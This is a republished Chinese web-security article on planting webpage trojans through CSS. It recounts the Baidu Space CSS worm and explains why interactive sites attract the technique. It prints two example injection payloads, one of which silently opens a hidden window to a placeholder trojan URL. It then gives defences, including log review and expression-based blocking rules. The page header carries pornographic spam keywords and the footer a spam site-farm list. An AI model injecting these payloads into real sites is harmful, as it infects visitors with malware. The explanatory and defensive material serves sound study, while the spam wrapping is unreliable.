国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 網站 > 網站安全 > 正文

你知道嗎?CSS樣式表也能掛網頁木馬

2024-09-06 18:38:36
字體:
來源:轉載
供稿:網友

 隨著web2.0的普及,各種網頁特效用得越來越多,這也給黑客一個可乘之機。他們發(fā)現,用來制作網頁特效的css代碼,也可以用來掛馬。而比較諷刺的是,css掛馬方式其實是從防范iframe掛馬的css代碼演變而來。

  安天實驗室阿楠:安全工程師,從事病毒分析多年。

  網站掛馬的手段最初非常單一,但是隨著web2.0技術以及blog、wiki等廣泛的應用,掛馬也涌現出各種各樣的技術,其中css掛馬方式,可以說是web2.0時代黑客的最愛。有許多非常著名的網站都被黑客用css掛馬入侵過。

  在我印象中,記憶最深刻的一次是百度空間css掛馬。當時,百度空間推出沒有多久,就有許多百度用戶收到了類似“哈,節(jié)日快樂呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/xxxxx”的站內消息。

  由于網址是百度空間的網址,許多用戶認為不會存在安全問題,加上又有可能是自己朋友發(fā)來的,因此會毫不猶豫地點擊進入。但是進入指定的網址后,用戶就會感染蠕蟲病毒,并繼續(xù)傳播。

  由于蠕蟲擴散非常嚴重,最終導致百度空間不得不發(fā)布官方聲明提醒用戶,并且大費周折地在服務器中清除蠕蟲的惡意代碼。那一次的掛馬事件利用的就是百度空間css模板功能,通過變形的expression在css代碼中動態(tài)執(zhí)行腳本,讓指定的遠程惡意代碼文件在后臺悄悄運行并發(fā)送大量偽造信息。

  我建議大家在點擊陌生鏈接時,要多個心眼,大網站也是可能被掛馬的。大家在上網時,最好還是使用一些帶網頁木馬攔截功能的安全輔助工具。

  黑客為什么選擇css掛馬?

  在web1.0時代,使用iframe掛馬對于黑客而言,與其說是為了更好地實現木馬的隱藏,倒不如說是無可奈何的一個選擇。在簡單的html網頁和缺乏交互性的網站中,黑客可以利用的手段也非常有限,即使采取了復雜的偽裝,也很容易被識破,還不如iframe來得直接和有效。

  但如今交互式的web2.0網站越來越多,允許用戶設置與修改的博客、sns社區(qū)等紛紛出現。這些互動性非常強的社區(qū)和博客中,往往會提供豐富的功能,并且會允許用戶使用css層疊樣式表來對網站的網頁進行自由的修改,這促使了css掛馬流行。

  小百科:css是層疊樣式表(cascading style sheets)的英文縮寫。css最主要的目的是將文件的結構(用html或其他相關語言寫的)與文件的顯示分隔開來。這個分隔可以讓文件的可讀性得到加強、文件的結構更加靈活。

  黑客在利用css掛馬時,往往是借著網民對某些大網站的信任,將css惡意代碼掛到博客或者其他支持css的網頁中,當網民在訪問該網頁時惡意代碼就會執(zhí)行。這就如同你去一家知名且證照齊全的大醫(yī)院看病,你非常信任醫(yī)院,但是你所看的門診卻已經被庸醫(yī)外包了下來,并且打著醫(yī)院的名義利用你的信任成功欺騙了你。但是當你事后去找人算賬時,醫(yī)院此時也往往一臉無辜。對于安全工程師而言,css掛馬的排查是必備常識。

  css掛馬攻防實錄

  攻css掛馬方式較多,但主流的方式是通過有漏洞的博客或者sns社交網站系統(tǒng),將惡意的css代碼寫入支持css功能的個性化頁面中。下面我們以典型的css掛馬方式為例進行講解。

  方式1:

  body{
  background-image: url('javascript:document.write("")')
  }

  “background-image”在css中的主要功能是用來定義頁面的背景圖片。這是最典型的css掛馬方式,這段惡意代碼主要是通過“background-image”配合javascript代碼讓網頁木馬悄悄地在用戶的電腦中運行。

  那如何將這段css惡意代碼掛到正常的網頁中去呢?黑客可以將生成好的網頁木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網站的網頁中,或者掛馬網頁所調用的css文件中。

  小百科:使用body對象元素,主要是為了讓對象不再改變整個網頁文檔的內容,通過body對象的控制,可以將內容或者效果控制在指定的大小內,如同使用div對象那樣精確地設置大小。

  方式2:

  body{
  background-image: url(javascript:open(' http://www.x.com/muma.htm ','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
  }

  方式1的css掛馬技術,在運行時會出現空白的頁面,影響網頁訪問者正常的訪問,因此比較容易發(fā)現。不過在方式2中的這段代碼,使用了javascript的open開窗,通過新開一個隱藏的窗口,在后臺悄悄地運行新窗口并激活訪問網頁溢出木馬頁面,不會影響訪問者觀看網頁內容,因此更加隱蔽。

  防網絡服務器被掛馬,通常會出現防病毒軟件告警之類的信息。由于漏洞不斷更新,掛馬種類時刻都在變換,通過客戶端的反映來發(fā)現服務器是否被掛馬往往疏漏較大。正確的做法是經常檢查服務器日志,發(fā)現異常信息,經常檢查網站代碼,使用網頁木馬檢測系統(tǒng),進行排查。

  目前除了使用以前的阻斷彈出窗口防范css掛馬之外,還可以在網頁中設置css過濾,將css過濾掉。不過如果你選擇過濾css的話,首先需要留意自己的相關網頁是否有css的內容,因此我們仍然首推用阻斷方式來防范css。阻斷代碼如下所示:

  iframe{miao1:expression(this.src='about:blank',this.outerhtml='');}
  script{miao2:expression(if(this.src.indexof('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

  將外域的木馬代碼的src重寫成本地ie404錯誤頁面的地址,這樣,外域的javascript代碼不會被下載。不過阻斷方式也有天生致命的弱點,弱點的秘密我們將于下次揭曉。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 丰镇市| 中方县| 顺昌县| 钟山县| 武川县| 绥阳县| 依兰县| 泰安市| 玛曲县| 卢龙县| 崇阳县| 张家口市| 临高县| 玉环县| 郑州市| 徐州市| 突泉县| 平利县| 琼结县| 泰顺县| 油尖旺区| 公安县| 台北市| 朝阳县| 新丰县| 彭阳县| 韶关市| 宁化县| 金阳县| 南投市| 兴城市| 察哈| 平南县| 普兰县| 永城市| 镇平县| 平定县| 栾川县| 泸州市| 玉树县| 河曲县|